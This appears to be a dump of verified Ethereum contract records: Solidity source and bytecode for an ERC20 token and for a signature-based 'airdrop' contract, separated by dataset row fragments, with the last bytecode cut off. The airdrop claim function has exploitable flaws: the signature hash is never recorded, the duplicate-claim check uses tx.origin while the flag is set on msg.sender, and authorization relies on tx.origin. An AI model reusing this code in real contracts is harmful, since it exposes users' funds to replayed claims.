pragma solidity 0.4.21; // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: contracts/IWasFirstServiceToken.sol contract IWasFirstServiceToken is StandardToken, Ownable { string public constant NAME = "IWasFirstServiceToken"; // solium-disable-line uppercase string public constant SYMBOL = "IWF"; // solium-disable-line uppercase uint8 public constant DECIMALS = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 10000000 * (10 ** uint256(DECIMALS)); address fungibleTokenAddress; address shareTokenAddress; /** * @dev Constructor that gives msg.sender all of existing tokens. */ function IWasFirstServiceToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function getFungibleTokenAddress() public view returns (address) { return fungibleTokenAddress; } function setFungibleTokenAddress(address _address) onlyOwner() public { require(fungibleTokenAddress == address(0)); fungibleTokenAddress = _address; } function getShareTokenAddress() public view returns (address) { return shareTokenAddress; } function setShareTokenAddress(address _address) onlyOwner() public { require(shareTokenAddress == address(0)); shareTokenAddress = _address; } function transferByRelatedToken(address _from, address _to, uint256 _value) public returns (bool) { require(msg.sender == fungibleTokenAddress || msg.sender == shareTokenAddress); require(_to != address(0)); require(_value <= balances[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } }
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063095ea7b31461010c57806310680b841461016657806318160ddd146101bb5780631e1a4eef146101e457806323b872dd1461021d5780632e0f2625146102965780632ff2e9dc146102c557806366188463146102ee57806370a08231146103485780638da5cb5b146103955780639c9a2365146103ea578063a3f4df7e1461043f578063a7807b84146104cd578063a9059cbb14610546578063ab47d3e6146105a0578063d73dd623146105d9578063dd62ed3e14610633578063f2fde38b1461069f578063f76f8d78146106d8575b600080fd5b341561011757600080fd5b61014c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610766565b604051808215151515815260200191505060405180910390f35b341561017157600080fd5b610179610858565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101c657600080fd5b6101ce610882565b6040518082815260200191505060405180910390f35b34156101ef57600080fd5b61021b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061088c565b005b341561022857600080fd5b61027c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610989565b604051808215151515815260200191505060405180910390f35b34156102a157600080fd5b6102a9610d43565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d057600080fd5b6102d8610d48565b6040518082815260200191505060405180910390f35b34156102f957600080fd5b61032e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d58565b604051808215151515815260200191505060405180910390f35b341561035357600080fd5b61037f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fe9565b6040518082815260200191505060405180910390f35b34156103a057600080fd5b6103a8611031565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f557600080fd5b6103fd611057565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561044a57600080fd5b610452611081565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610492578082015181840152602081019050610477565b50505050905090810190601f1680156104bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104d857600080fd5b61052c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110ba565b604051808215151515815260200191505060405180910390f35b341561055157600080fd5b610586600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061138f565b604051808215151515815260200191505060405180910390f35b34156105ab57600080fd5b6105d7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115ae565b005b34156105e457600080fd5b610619600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506116ab565b604051808215151515815260200191505060405180910390f35b341561063e57600080fd5b610689600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118a7565b6040518082815260200191505060405180910390f35b34156106aa57600080fd5b6106d6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061192e565b005b34156106e357600080fd5b6106eb611a86565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561072b578082015181840152602081019050610710565b50505050905090810190601f1680156107585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600154905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561094557600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156109c657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a1357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a9e57600080fd5b610aef826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b82826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c5382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b601260ff16600a0a629896800281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e69576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610efd565b610e7c8382611abf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040805190810160405280601581526020017f49576173466972737453657276696365546f6b656e000000000000000000000081525081565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806111655750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561117057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111ac57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111f957600080fd5b61124a826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112dd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156113cc57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561141957600080fd5b61146a826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abf90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114fd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561166757600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061173c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561198a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156119c657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6040805190810160405280600381526020017f495746000000000000000000000000000000000000000000000000000000000081525081565b6000828211151515611acd57fe5b818303905092915050565b60008183019050828110151515611aeb57fe5b809050929150505600a165627a7a72305820e23fcee0a37a42f503680ec08b39a8aa7f46fa17acfacee51237cf57a1fbf1250029
{"success": true, "error": null, "results": {}}
8,363
0x8e419328248bba67bb8864ecd36c4f867de0a7be
pragma solidity ^0.6.12; // SPDX-License-Identifier: UNLICENSED /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } } /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } contract airdrop{ using SafeMath for uint256; // ECDSA Address using ECDSA for address; address public sam; address public samx; bool public pause; modifier constractStatus(){ require(!pause,"contract locked"); _; } address private signer; // Contract owner address address public owner; // Signature Message Hash mapping(bytes32 => bool)public msgHash; constructor (address _sam,address _samx, address _signer) public { sam = _sam; samx = _samx; signer = _signer; owner = msg.sender; } mapping(address => bool) public userStatus; function claim(uint256 deadline, bytes calldata signature) public constractStatus{ require(!userStatus[tx.origin]," claim: Duplicate "); require(deadline > now , "time Expired" ); uint256 _amount = IERC20(sam).balanceOf(tx.origin); //messageHash can be used only once bytes32 messageHash = message(tx.origin, _amount, deadline); require(!msgHash[messageHash], "claim: signature duplicate"); //Verifes signature address src = verifySignature(messageHash, signature); require(signer == src, " claim: unauthorized"); userStatus[msg.sender] = true; uint256 totalToken; totalToken = (_amount.mul(45)).div(10); IERC20(samx).transfer(tx.origin, totalToken); } /** * @dev Ethereum Signed Message, created from `hash` * @dev Returns the address that signed a hashed message (`hash`) with `signature`. */ function verifySignature(bytes32 _messageHash, bytes memory _signature) public pure returns (address signatureAddress) { bytes32 hash = ECDSA.toEthSignedMessageHash(_messageHash); signatureAddress = ECDSA.recover(hash, _signature); } /** * @dev Returns hash for given data */ function message(address _receiver , uint256 _amount , uint256 _blockExpirytime) public view returns(bytes32 messageHash) { messageHash = keccak256(abi.encodePacked(address(this), _receiver, _amount, _blockExpirytime)); } /** * @notice claimPendingToken Owner can withdraw pending tokens from contract. * @param tokenAddr token address. */ function claimPendingToken(address tokenAddr) public { // Owner call check require(msg.sender == owner, " only Owner"); // Pending token transfer IERC20(tokenAddr).transfer(msg.sender, IERC20(samx).balanceOf(address(this))); } function setStatus(bool _status )public { require(msg.sender == owner, " only Owner"); pause=_status; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638456cb59116100715780638456cb59146101ac57806387b0b39b146101b45780638da5cb5b146101f8578063a93ec43314610200578063daca6f7814610226578063f9a7ea37146102d3576100a9565b8063225d29a1146100ae5780632e5fb40e146100e857806338926b6d1461010c5780635c40f6f4146101855780637edba6c8146101a4575b600080fd5b6100d4600480360360208110156100c457600080fd5b50356001600160a01b03166102f0565b604080519115158252519081900360200190f35b6100f0610305565b604080516001600160a01b039092168252519081900360200190f35b6101836004803603604081101561012257600080fd5b8135919081019060408101602082013564010000000081111561014457600080fd5b82018360208201111561015657600080fd5b8035906020019184600183028401116401000000008311171561017857600080fd5b509092509050610314565b005b6101836004803603602081101561019b57600080fd5b5035151561064a565b6100f06106b5565b6100d46106c4565b6101e6600480360360608110156101ca57600080fd5b506001600160a01b0381351690602081013590604001356106d4565b60408051918252519081900360200190f35b6100f0610729565b6101836004803603602081101561021657600080fd5b50356001600160a01b0316610738565b6100f06004803603604081101561023c57600080fd5b8135919081019060408101602082013564010000000081111561025e57600080fd5b82018360208201111561027057600080fd5b8035906020019184600183028401116401000000008311171561029257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610886945050505050565b6100d4600480360360208110156102e957600080fd5b50356108a6565b60056020526000908152604090205460ff1681565b6001546001600160a01b031681565b600154600160a01b900460ff1615610365576040805162461bcd60e51b815260206004820152600f60248201526e18dbdb9d1c9858dd081b1bd8dad959608a1b604482015290519081900360640190fd5b3260009081526005602052604090205460ff16156103bf576040805162461bcd60e51b815260206004820152601260248201527101031b630b4b69d10223ab83634b1b0ba32960751b604482015290519081900360640190fd5b428311610402576040805162461bcd60e51b815260206004820152600c60248201526b1d1a5b5948115e1c1a5c995960a21b604482015290519081900360640190fd5b60008054604080516370a0823160e01b815232600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561044e57600080fd5b505afa158015610462573d6000803e3d6000fd5b505050506040513d602081101561047857600080fd5b5051905060006104893283876106d4565b60008181526004602052604090205490915060ff16156104f0576040805162461bcd60e51b815260206004820152601a60248201527f636c61696d3a207369676e6174757265206475706c6963617465000000000000604482015290519081900360640190fd5b60006105328286868080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061088692505050565b6002549091506001600160a01b0380831